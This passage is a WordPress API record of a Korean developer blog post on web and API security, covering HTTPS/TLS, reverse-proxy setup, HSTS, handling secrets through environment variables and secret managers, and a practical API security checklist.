\uad00\ucc30\ud560 \uc218 \uc788\ub294 \uacf5\uaca9\uc790\uac00 \ub370\uc774\ud130 \ub0b4\uc6a9\uc744 \uc77d\uac70\ub098 \ubcc0\uc870\ud560 \uc704\ud5d8\uc774 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTTPS\ub294 \ub2e4\uc74c \uc138 \uac00\uc9c0 \ubcf4\uc548 \uc18d\uc131\uc744 \uc81c\uacf5\ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\uae30\ubc00\uc131<\/strong>: \uc804\uc1a1 \uc911\uc778 \ub370\uc774\ud130\ub97c \uc554\ud638\ud654\ud55c\ub2e4.<\/li>\n\n\n\n<li><strong>\ubb34\uacb0\uc131<\/strong>: \uc804\uc1a1 \uc911 \ub370\uc774\ud130\uac00 \ubcc0\uc870\ub418\uc5c8\ub294\uc9c0 \uac80\uc99d\ud55c\ub2e4.<\/li>\n\n\n\n<li><strong>\uc778\uc99d<\/strong>: \uc778\uc99d\uc11c\ub97c \ud1b5\ud574 \uc811\uc18d\ud55c \uc11c\ubc84\uc758 \uc2e0\uc6d0\uc744 \uac80\uc99d\ud55c\ub2e4.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">HTTPS\ub97c \uc0ac\uc6a9\ud558\uba74 \ub85c\uadf8\uc778 \uc815\ubcf4, \uc138\uc158 \ucfe0\ud0a4, API \uc694\uccad\u00b7\uc751\ub2f5 \ub4f1 \uc804\uc1a1 \ub370\uc774\ud130\ub97c \ub124\ud2b8\uc6cc\ud06c \uacf5\uaca9\uc73c\ub85c\ubd80\ud130 \ubcf4\ud638\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub2e4\ub9cc HTTPS\ub294 \uc11c\ubc84 \ub0b4\ubd80\uc758 \ucde8\uc57d\uc810, SQL Injection, \uc798\ubabb\ub41c \uad8c\ud55c \uac80\uc99d\uc744 \ud574\uacb0\ud558\uc9c0 \uc54a\ub294\ub2e4. \uc560\ud50c\ub9ac\ucf00\uc774\uc158 \ubcf4\uc548\uacfc \uc804\uc1a1 \uacc4\uce35 \ubcf4\uc548\uc740 \ubcc4\ub3c4\ub85c \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">TLS \uc5f0\uacb0 \uacfc\uc815<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc77c\ubc18\uc801\uc778 TLS \uc5f0\uacb0\uc5d0\uc11c\ub294 \ud074\ub77c\uc774\uc5b8\ud2b8\uc640 \uc11c\ubc84\uac00 \ubcf4\uc548 \uc5f0\uacb0\uc744 \ud611\uc0c1\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac1c\ub150\uc801\uc73c\ub85c \ub2e4\uc74c\uacfc \uac19\uc740 \uacfc\uc815\uc73c\ub85c \uc774\ud574\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\ud074\ub77c\uc774\uc5b8\ud2b8\uac00 \uc9c0\uc6d0\ud558\ub294 TLS \ubc84\uc804\uacfc \uc554\ud638\ud654 \uc635\uc158 \ub4f1\uc744 \uc81c\uc548\ud55c\ub2e4.<\/li>\n\n\n\n<li>\uc11c\ubc84\uac00 \uc5f0\uacb0\uc5d0 \uc0ac\uc6a9\ud560 \uc124\uc815\uacfc \uc778\uc99d\uc11c\ub97c \uc81c\uacf5\ud55c\ub2e4.<\/li>\n\n\n\n<li>\ud074\ub77c\uc774\uc5b8\ud2b8\uac00 \uc778\uc99d\uc11c\uc758 \uc2e0\ub8b0 \uccb4\uc778, \uc720\ud6a8 \uae30\uac04, \ud638\uc2a4\ud2b8 \uc774\ub984 \ub4f1\uc744 \uac80\uc99d\ud55c\ub2e4.<\/li>\n\n\n\n<li>\uc591\uce21\uc774 \uc138\uc158 \ud0a4\ub97c \uc548\uc804\ud558\uac8c \uc124\uc815\ud558\uace0 \uc554\ud638\ud654\ub41c \ud1b5\uc2e0\uc744 \uc2dc\uc791\ud55c\ub2e4.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">TLS 1.3\uc5d0\uc11c\ub294 \ud0a4 \uad50\ud658 \uacfc\uc815\uc774 \uc774\uc804 \ubc84\uc804\ubcf4\ub2e4 \uac04\uc18c\ud654\ub418\uc5c8\ub2e4. \uc2e4\uc81c \ud578\ub4dc\uc170\uc774\ud06c \uc138\ubd80 \uacfc\uc815\uc740 TLS \ubc84\uc804\uacfc \uc5f0\uacb0 \uc124\uc815\uc5d0 \ub530\ub77c \ub2ec\ub77c\uc9c4\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc6b4\uc601 \ud658\uacbd\uc5d0\uc11c\uc758 HTTPS \uc801\uc6a9<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc77c\ubc18\uc801\uc73c\ub85c \ub2e4\uc74c\uacfc \uac19\uc740 \uad6c\uc870\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Client\n  |\n HTTPS \/ TLS\n  |\nReverse Proxy (Nginx)\n  |\n HTTP \ub610\ub294 HTTPS\n  |\nNode.js API Server<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc678\ubd80 \uc5f0\uacb0\uc740 HTTPS\ub85c \ubcf4\ud638\ud558\uace0, \ud504\ub85d\uc2dc\uc5d0\uc11c TLS\ub97c \uc885\ub8cc\ud55c \ub4a4 \ub0b4\ubd80 API \uc11c\ubc84\ub85c \uc694\uccad\uc744 \uc804\ub2ec\ud558\ub294 \uad6c\uc870\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub0b4\ubd80 \ub124\ud2b8\uc6cc\ud06c\uac00 \uc2e0\ub8b0\ud560 \uc218 \uc788\ub294 \ud658\uacbd\uc778\uc9c0, \ud504\ub85d\uc2dc\uc640 \uc560\ud50c\ub9ac\ucf00\uc774\uc158 \uc0ac\uc774\uc758 \ud2b8\ub798\ud53d\uc5d0\ub3c4 \uae30\ubc00\uc131\uacfc \uc778\uc99d\uc774 \ud544\uc694\ud55c\uc9c0\uc5d0 \ub530\ub77c \ub0b4\ubd80 \uad6c\uac04\uc5d0\ub3c4 TLS\ub97c \uc801\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc6b4\uc601 \uc2dc\uc5d0\ub294 \ub2e4\uc74c \uc0ac\ud56d\uc744 \ud655\uc778\ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc778\uc99d\uc11c\uc758 \uc720\ud6a8 \uae30\uac04\uacfc \uc790\ub3d9 \uac31\uc2e0<\/li>\n\n\n\n<li>TLS 1.2 \uc774\uc0c1 \uc0ac\uc6a9 \ubc0f \uc548\uc804\ud55c \uc554\ud638\ud654 \uc124\uc815<\/li>\n\n\n\n<li>HTTP\uc5d0\uc11c HTTPS\ub85c\uc758 \ub9ac\ub2e4\uc774\ub809\ud2b8<\/li>\n\n\n\n<li>HSTS \uc801\uc6a9 \uc5ec\ubd80<\/li>\n\n\n\n<li>\uc778\uc99d\uc11c \uac80\uc99d\uc744 \ube44\ud65c\uc131\ud654\ud558\ub294 \uc124\uc815 \uae08\uc9c0<\/li>\n\n\n\n<li>\ud504\ub85d\uc2dc \ub4a4\uc5d0\uc11c \uc2e4\uc81c \ud074\ub77c\uc774\uc5b8\ud2b8 IP\ub97c \uc2e0\ub8b0\ud558\ub294 \ubc94\uc704 \uc81c\ud55c<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">HSTS(HTTP Strict Transport Security)\ub294 \ube0c\ub77c\uc6b0\uc800\uac00 \ud574\ub2f9 \uc0ac\uc774\ud2b8\uc5d0 HTTPS\ub85c \uc811\uc18d\ud558\ub3c4\ub85d \uc720\ub3c4\ud558\ub294 \uc751\ub2f5 \ud5e4\ub354\ub2e4. \uc801\uc6a9\ud558\uae30 \uc804\uc5d0\ub294 \ubaa8\ub4e0 \uad00\ub828 \ud558\uc704 \ub3c4\uba54\uc778\uc758 HTTPS \uc9c0\uc6d0 \uc5ec\ubd80 \ub4f1\uc744 \ud655\uc778\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ube44\ubc00\ud0a4 \ubc0f \ud658\uacbd\ubcc0\uc218 \uad00\ub9ac<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ube44\ubc00\uc815\ubcf4\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84 \uc560\ud50c\ub9ac\ucf00\uc774\uc158\uc774 \uc678\ubd80 \uc2dc\uc2a4\ud15c\uacfc \ud1b5\uc2e0\ud558\uac70\ub098 \uc778\uc99d\uc744 \ucc98\ub9ac\ud558\uae30 \uc704\ud574 \uc0ac\uc6a9\ud558\ub294 \ubbfc\uac10\ud55c \uac12\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub300\ud45c\uc801\uc778 \uc608\uc2dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\ub370\uc774\ud130\ubca0\uc774\uc2a4 \ube44\ubc00\ubc88\ud638<\/li>\n\n\n\n<li>JWT \uc11c\uba85 \ud0a4<\/li>\n\n\n\n<li>Refresh Token \uad00\ub828 \uc554\ud638\ud654 \ud0a4<\/li>\n\n\n\n<li>Redis \uc778\uc99d \uc815\ubcf4<\/li>\n\n\n\n<li>\ud074\ub77c\uc6b0\ub4dc API \ud0a4<\/li>\n\n\n\n<li>\uc678\ubd80 \uacb0\uc81c \uc11c\ube44\uc2a4\uc758 \ube44\ubc00 \ud0a4<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\ub7ec\ud55c \uc815\ubcf4\uac00 Git \uc800\uc7a5\uc18c, \uacf5\uac1c \ub85c\uadf8, \ud074\ub77c\uc774\uc5b8\ud2b8 \ucf54\ub4dc \ub4f1\uc5d0 \ub178\ucd9c\ub418\uba74 \uacf5\uaca9\uc790\uac00 \uc11c\ubc84\ub098 \uc678\ubd80 \uc11c\ube44\uc2a4\uc5d0 \uc811\uadfc\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc18c\uc2a4 \ucf54\ub4dc\uc5d0 \ube44\ubc00\uc815\ubcf4\ub97c \ud558\ub4dc\ucf54\ub529\ud558\uc9c0 \uc54a\uae30<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc798\ubabb\ub41c \uc608\uc2dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const JWT_SECRET = \"my-secret-key\";\nconst DB_PASSWORD = \"password123\";<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc18c\uc2a4 \ucf54\ub4dc\uc5d0 \ube44\ubc00\uc815\ubcf4\ub97c \uc791\uc131\ud558\uba74 \ucf54\ub4dc\uac00 \uc800\uc7a5\uc18c\uc5d0 \uc62c\ub77c\uac00\uac70\ub098 \ube4c\ub4dc \uc0b0\ucd9c\ubb3c\uc5d0 \ud3ec\ud568\ub418\ub294 \uc21c\uac04 \uc720\ucd9c\ub420 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud658\uacbd\ubcc0\uc218\ub97c \ud1b5\ud574 \uc678\ubd80\uc5d0\uc11c \uc8fc\uc785\ud558\ub3c4\ub85d \ubcc0\uacbd\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const jwtSecret = process.env.JWT_SECRET;\nconst databaseUrl = process.env.DATABASE_URL;\n\nif (!jwtSecret) {\n  throw new Error(\"JWT_SECRET is required\");\n}\n\nif (!databaseUrl) {\n  throw new Error(\"DATABASE_URL is required\");\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ud544\uc218 \uc124\uc815\uc774 \uc5c6\uc73c\uba74 \uc560\ud50c\ub9ac\ucf00\uc774\uc158 \uc2dc\uc791 \ub2e8\uacc4\uc5d0\uc11c \uc2e4\ud328\ud558\ub3c4\ub85d \ud558\uba74, \uc798\ubabb\ub41c \ubcf4\uc548 \uc124\uc815\uc73c\ub85c \uc11c\ube44\uc2a4\uac00 \uc2e4\ud589\ub418\ub294 \uac83\uc744 \ubc29\uc9c0\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud658\uacbd\ubcc0\uc218 \uc124\uc815 \uc608\uc2dc<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uac1c\ubc1c \ud658\uacbd\uc5d0\uc11c\ub294 <code>.env<\/code> \ud30c\uc77c\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JWT_SECRET=replace-with-a-long-random-secret\nDATABASE_URL=mysql:\/\/app_user:password@localhost:3306\/app<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Node.js\uc5d0\uc11c\ub294 <code>dotenv<\/code> \ub4f1\uc758 \ub77c\uc774\ube0c\ub7ec\ub9ac\ub85c \ud658\uacbd\ubcc0\uc218\ub97c \ubd88\ub7ec\uc62c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import \"dotenv\/config\";<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \ud30c\uc77c\uc5d0\ub294 \uc2e4\uc81c \ube44\ubc00\uc815\ubcf4\uac00 \ub4e4\uc5b4\uac08 \uc218 \uc788\uc73c\ubbc0\ub85c Git\uc5d0 \ucee4\ubc0b\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.env\n.env.*\n!.env.example<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>!.env.example<\/code>\uc740 \uc608\uc81c \ud30c\uc77c\uc744 \ud5c8\uc6a9\ud558\uae30 \uc704\ud55c \uc124\uc815\uc774\ub2e4. \uc2e4\uc81c \ube44\ubc00\uac12\uc774 \ud3ec\ud568\ub41c \ud30c\uc77c\uc744 \uc608\uc81c \ud30c\uc77c\ub85c \ubcf5\uc0ac\ud574\uc11c \uacf5\uac1c\ud574\uc11c\ub294 \uc548 \ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\uc81c \ud30c\uc77c\uc5d0\ub294 \ubcc0\uc218 \uc774\ub984\uacfc \uc124\uba85\uc6a9 \ud50c\ub808\uc774\uc2a4\ud640\ub354\ub9cc \uae30\ub85d\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JWT_SECRET=\nDATABASE_URL=<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\uc6b4\uc601 \ud658\uacbd\uc758 \ube44\ubc00\uc815\ubcf4 \uad00\ub9ac<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc6b4\uc601 \ud658\uacbd\uc5d0\uc11c\ub294 \ud658\uacbd\ubcc0\uc218\ub9cc \uc0ac\uc6a9\ud558\ub294 \uac83\ubcf4\ub2e4 \ube44\ubc00\uc815\ubcf4 \uad00\ub9ac \uc2dc\uc2a4\ud15c\uc744 \ud65c\uc6a9\ud558\ub294 \uac83\uc774 \uc801\ud569\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \ud074\ub77c\uc6b0\ub4dc\uc758 Secret Manager, Vault \uacc4\uc5f4 \uc2dc\uc2a4\ud15c, \ucee8\ud14c\uc774\ub108 \uc624\ucf00\uc2a4\ud2b8\ub808\uc774\uc158\uc758 \ube44\ubc00\uc815\ubcf4 \uae30\ub2a5 \ub4f1\uc744 \uc774\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc911\uc694\ud55c \uad00\ub9ac \uc6d0\uce59\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ucd5c\uc18c \uad8c\ud55c<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac01 \uc560\ud50c\ub9ac\ucf00\uc774\uc158\uacfc \uc791\uc5c5\uc5d0 \ud544\uc694\ud55c \ube44\ubc00\uc815\ubcf4\ub9cc \uc81c\uacf5\ud55c\ub2e4. \ubaa8\ub4e0 \uc11c\ubc84\uac00 \ub3d9\uc77c\ud55c \uad00\ub9ac\uc790 \uc790\uaca9 \uc99d\uba85\uc744 \uacf5\uc720\ud558\uc9c0 \uc54a\ub3c4\ub85d \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ud0a4 \ud68c\uc804<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube44\ubc00\uc815\ubcf4\uac00 \uc720\ucd9c\ub418\uc5c8\uac70\ub098 \uc815\uae30\uc801\uc778 \uad50\uccb4\uac00 \ud544\uc694\ud55c \uacbd\uc6b0 \uc0c8 \ud0a4\ub85c \uc804\ud658\ud558\uace0 \uae30\uc874 \ud0a4\ub97c \ud3d0\uae30\ud55c\ub2e4. JWT \uc11c\uba85 \ud0a4\ub97c \uad50\uccb4\ud560 \ub54c\ub294 \uae30\uc874 \ud1a0\ud070\uc758 \uac80\uc99d \uc815\ucc45\uacfc \ud0a4 \uc2dd\ubcc4\uc790(<code>kid<\/code>) \uc6b4\uc601 \ubc29\uc2dd\uc744 \ud568\uaed8 \uc124\uacc4\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ub85c\uadf8\uc5d0\uc11c \ubbfc\uac10\uc815\ubcf4 \uc81c\uac70<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube44\ubc00\ubc88\ud638, Access Token, Refresh Token, API \ud0a4, \ub370\uc774\ud130\ubca0\uc774\uc2a4 \uc5f0\uacb0 \ubb38\uc790\uc5f4 \ub4f1\uc744 \ub85c\uadf8\uc5d0 \uadf8\ub300\ub85c \ub0a8\uae30\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0 \ube44\ubc00\uc815\ubcf4 \ud3ec\ud568 \uae08\uc9c0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube0c\ub77c\uc6b0\uc800\uc5d0 \uc804\ub2ec\ub418\ub294 JavaScript, \ubaa8\ubc14\uc77c \uc571 \ud328\ud0a4\uc9c0, \uacf5\uac1c \uc124\uc815 \ud30c\uc77c\uc5d0 \uc11c\ubc84 \uc804\uc6a9 \ube44\ubc00\ud0a4\ub97c \ud3ec\ud568\ud558\uc9c0 \uc54a\ub294\ub2e4. \ud504\ub7f0\ud2b8\uc5d4\ub4dc\uc758 \ud658\uacbd\ubcc0\uc218\ub294 \ube4c\ub4dc \uacfc\uc815\uc5d0\uc11c \ud074\ub77c\uc774\uc5b8\ud2b8 \ucf54\ub4dc\uc5d0 \ud3ec\ud568\ub420 \uc218 \uc788\uc73c\ubbc0\ub85c \ube44\ubc00 \uc800\uc7a5\uc18c\ub85c \ucde8\uae09\ud574\uc11c\ub294 \uc548 \ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\uc720\ucd9c \uc2dc \ud3d0\uae30\uc640 \uad50\uccb4<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\ubbf8 \uacf5\uac1c \uc800\uc7a5\uc18c\uc5d0 \uc62c\ub77c\uac04 \ube44\ubc00\uc815\ubcf4\ub294 \ucee4\ubc0b\uc744 \uc0ad\uc81c\ud558\ub294 \uac83\ub9cc\uc73c\ub85c \ud574\uacb0\ub418\uc9c0 \uc54a\ub294\ub2e4. \ubcf5\uc0ac\ubcf8\uc774 \ub0a8\uc544 \uc788\uc744 \uc218 \uc788\uc73c\ubbc0\ub85c \ud574\ub2f9 \ud0a4\ub97c \ud3d0\uae30\ud558\uac70\ub098 \uad50\uccb4\ud558\uace0, \uc811\uadfc \ub85c\uadf8\ub97c \uc870\uc0ac\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\uc2e4\ubb34 API \ubcf4\uc548 \uccb4\ud06c\ub9ac\uc2a4\ud2b8<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\ubcf4\uc548\uc740 \ub2e8\uc77c \ubbf8\ub4e4\uc6e8\uc5b4\ub97c \uc124\uce58\ud55c\ub2e4\uace0 \uc644\uc131\ub418\uc9c0 \uc54a\ub294\ub2e4. \uac01 \uc694\uccad\uc774 \uc11c\ubc84\uc5d0 \ub3c4\ub2ec\ud558\uace0 \ub370\uc774\ud130\ub97c \ucc98\ub9ac\ud558\ub294 \uc804\uccb4 \uacfc\uc815\uc5d0\uc11c \ubc29\uc5b4 \uacc4\uce35\uc744 \uad6c\uc131\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CORS \ud5c8\uc6a9 Origin\uc744 \uba85\uc2dc\uc801\uc73c\ub85c \uc81c\ud55c\ud588\ub294\uac00?<\/li>\n\n\n\n<li>\ucfe0\ud0a4 \uae30\ubc18 \uc778\uc99d\uc5d0\uc11c CSRF \ubc29\uc5b4\ub97c \uace0\ub824\ud588\ub294\uac00?<\/li>\n\n\n\n<li>\uc0ac\uc6a9\uc790 \uc785\ub825\uc744 \uc548\uc804\ud558\uac8c \ucd9c\ub825\ud558\uace0 XSS \uc704\ud5d8\uc744 \uc904\uc600\ub294\uac00?<\/li>\n\n\n\n<li>SQL \ucffc\ub9ac\uc5d0 \ub9e4\uac1c\ubcc0\uc218\ud654 \ubc29\uc2dd\uc744 \uc801\uc6a9\ud588\ub294\uac00?<\/li>\n\n\n\n<li>\ubaa8\ub4e0 \ub370\uc774\ud130 \uc870\ud68c\u00b7\uc218\uc815\u00b7\uc0ad\uc81c \uc694\uccad\uc5d0\uc11c \uac1d\uccb4 \uad8c\ud55c\uc744 \uac80\uc99d\ud558\ub294\uac00?<\/li>\n\n\n\n<li>\ub85c\uadf8\uc778, \uc778\uc99d \ucf54\ub4dc \ubc1c\uc1a1, \ube44\ubc00\ubc88\ud638 \uc7ac\uc124\uc815 \ub4f1\uc5d0 \uc694\uccad \uc81c\ud55c\uc744 \uc801\uc6a9\ud588\ub294\uac00?<\/li>\n\n\n\n<li>Brute-force \ubc0f Credential Stuffing \ubc29\uc5b4\ub97c \uc801\uc6a9\ud588\ub294\uac00?<\/li>\n\n\n\n<li>\ube44\ubc00\ubc88\ud638\ub97c \uc801\uc808\ud55c \uc804\uc6a9 \ud574\uc2f1 \uc54c\uace0\ub9ac\uc998\uc73c\ub85c \uc800\uc7a5\ud558\ub294\uac00?<\/li>\n\n\n\n<li>\uc678\ubd80 \ud1b5\uc2e0\uc5d0 HTTPS\ub97c \uc801\uc6a9\ud558\uace0 \uc778\uc99d\uc11c\ub97c \uac80\uc99d\ud558\ub294\uac00?<\/li>\n\n\n\n<li>\ube44\ubc00\uc815\ubcf4\ub97c \uc18c\uc2a4 \ucf54\ub4dc\uc640 \uacf5\uac1c \ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0 \ud3ec\ud568\ud558\uc9c0 \uc54a\uc558\ub294\uac00?<\/li>\n\n\n\n<li>\ub85c\uadf8\uc5d0 \uc778\uc99d \uc815\ubcf4\uc640 \ube44\ubc00\ud0a4\uac00 \uae30\ub85d\ub418\uc9c0 \uc54a\ub294\uac00?<\/li>\n\n\n\n<li>\uc624\ub958 \uc751\ub2f5\uc5d0 \ub0b4\ubd80 \uacbd\ub85c, SQL \uad6c\ubb38, \uc2a4\ud0dd \ud2b8\ub808\uc774\uc2a4 \ub4f1\uc774 \ub178\ucd9c\ub418\uc9c0 \uc54a\ub294\uac00?<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\uc6f9 \uc560\ud50c\ub9ac\ucf00\uc774\uc158\uacfc API \uc11c\ubc84\ub294 \uc678\ubd80 \ud074\ub77c\uc774\uc5b8\ud2b8\uc758 \uc694\uccad\uc744 \ubc1b\uc544 \ub370\uc774\ud130\ub97c \ucc98\ub9ac\ud55c\ub2e4. \uc774 \uacfc\uc815\uc5d0\uc11c \uc785\ub825\uac12\uc744 \uac80\uc99d\ud558\uc9c0 \uc54a\uac70\ub098, \uc0ac\uc6a9\uc790\uc758 \uad8c\ud55c\uc744 \ud655\uc778\ud558\uc9c0 \uc54a\uac70\ub098, \ubbfc\uac10\ud55c \uc815\ubcf4\ub97c \uc798\ubabb \uad00\ub9ac\ud558\uba74 \ub370\uc774\ud130 \uc720\ucd9c\uacfc \uacc4\uc815 \ud0c8\ucde8 \uac19\uc740 \ubcf4\uc548 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub2e4. \uc6f9 \ubc0f API \ubcf4\uc548\uc758 \ud575\uc2ec\uc740 \ub2e8\uc21c\ud788 \uc545\uc131 \uc694\uccad\uc744 \ucc28\ub2e8\ud558\ub294 \uac83\uc774 \uc544\ub2c8\ub2e4. \uc2e0\ub8b0\ud560 \uc218 \uc5c6\ub294 \uc785\ub825\uc744 \uc548\uc804\ud558\uac8c \ucc98\ub9ac\ud558\uace0, \uc694\uccad\uc790\uc758 \uc2e0\uc6d0\uc744 \ud655\uc778\ud558\uba70, \ud5c8\uc6a9\ub41c \uc791\uc5c5\ub9cc [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2665","post","type-post","status-publish","format-standard","hentry","category-dev-logs"],"_links":{"self":[{"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/posts\/2665","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2665"}],"version-history":[{"count":1,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/posts\/2665\/revisions"}],"predecessor-version":[{"id":2666,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=\/wp\/v2\/posts\/2665\/revisions\/2666"}],"wp:attachment":[{"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2665"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2665"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wayhope.kro.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2665"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}